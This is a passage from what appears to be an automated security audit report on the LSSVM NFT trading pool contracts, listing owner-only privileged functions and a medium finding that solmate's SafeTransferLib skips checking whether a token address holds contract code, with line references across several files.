625:     function changeAssetRecipient(address payable newRecipient) external
↪  onlyOwner {

640:     function call(address payable target, bytes calldata data) external
↪  onlyOwner {

672:     function multicall(bytes[] calldata calls, bool revertOnFail)
↪  external onlyOwner {
```

```
File: LSSVMPairERC20.sol

129:     function withdrawERC20(ERC20 a, uint256 amount) external override
↪  onlyOwner {
```

```
File: LSSVMPairETH.sol

90:     function withdrawAllETH() external onlyOwner {

100:     function withdrawETH(uint256 amount) public onlyOwner {

108:     function withdrawERC20(ERC20 a, uint256 amount) external override
↪  onlyOwner {
```

```
File: LSSVMPairFactory.sol

39: contract LSSVMPairFactory is Owned, ILSSVMPairFactoryLike {

102:     ) Owned(_owner) {

420:     function withdrawETHProtocolFees() external onlyOwner {

429:     function withdrawERC20ProtocolFees(ERC20 token, uint256 amount)
↪  external onlyOwner {

437:     function changeProtocolFeeRecipient(address payable
↪  _protocolFeeRecipient) external onlyOwner {
```

```
447:     function changeProtocolFeeMultiplier(uint256 _protocolFeeMultiplier)
 ↪  external onlyOwner {

458:     function setBondingCurveAllowed(ICurve bondingCurve, bool isAllowed)
 ↪  external onlyOwner {

469:     function setCallAllowed(address payable target, bool isAllowed)
 ↪  external onlyOwner {

484:     function setRouterAllowed(LSSVMRouter _router, bool isAllowed)
 ↪  external onlyOwner {
```

```
File: erc1155/LSSVMPairERC1155.sol

235:     function withdrawERC721(IERC721 a, uint256[] calldata nftIds)
 ↪  external virtual override onlyOwner {
```

```
File: erc721/LSSVMPairERC721.sol

299:     function withdrawERC721(IERC721 a, uint256[] calldata nftIds)
 ↪  external virtual override onlyOwner {
```

```
File: lib/OwnableWithTransferCallback.sol

45:     function transferOwnership(address newOwner, bytes memory data) public
 ↪  payable virtual onlyOwner {
```

```
File: settings/StandardSettings.sol

85:     function setSettingsFeeRecipient(address payable newFeeRecipient)
 ↪  public onlyOwner {
```

[M-2] Solmate's SafeTransferLib does not check for token contract's existence There is a subtle difference between the implementation of solmate's SafeTransferLib and OZ's SafeERC20: OZ's SafeERC20 checks if the token is a contract or not, solmate's SafeTransferLib does not. https://github.com/transmissions11/s

`@dev Note that none of the functions in this library check that a token has code at all` That responsibility is delegated to the caller!

Instances (18):

```
File: LSSVMPairERC20.sol

90:             token_.safeTransferFrom(msg.sender, _assetRecipient,
 ↪  inputAmountExcludingRoyalty - protocolFee);

94:                 token_.safeTransferFrom(msg.sender, royaltyRecipients[i],
 ↪  royaltyAmounts[i]);

102:                 token_.safeTransferFrom(msg.sender, address(factory()),
 ↪  protocolFee);

110:                 token().safeTransfer(_feeRecipient, tradeFeeAmount);

124:             token().safeTransfer(tokenRecipient, outputAmount);

130:         a.safeTransfer(msg.sender, amount);
```

```
File: LSSVMPairETH.sol

109:         a.safeTransfer(msg.sender, amount);
```

```
File: LSSVMPairFactory.sol

430:         token.safeTransfer(protocolFeeRecipient, amount);

600:             _token.safeTransferFrom(msg.sender, address(_pair),
 ↪  _initialTokenBalance);

632:             _nft.safeTransferFrom(msg.sender, address(_pair), _nftId,
 ↪  _initialNFTBalance, bytes(""));

653:             _token.safeTransferFrom(msg.sender, address(_pair),
 ↪  _initialTokenBalance);

658:             _nft.safeTransferFrom(msg.sender, address(_pair), _nftId,
 ↪  _initialNFTBalance, bytes(""));

691:         token.safeTransferFrom(msg.sender, recipient, amount);
```

```
706:         nft.safeTransferFrom(msg.sender, recipient, id, amount,
 ↪  bytes(""));
```

```
File: LSSVMRouter.sol

509:         token.safeTransferFrom(from, to, amount);
```

```
File: VeryFastRouter.sol

690:         token.safeTransferFrom(from, to, amount);
```

```
File: settings/Splitter.sol

55:         token.safeTransfer(parentSettings.settingsFeeRecipient(),
 ↪  amtToSendToSettingsFeeRecipient);

57:         token.safeTransfer(
```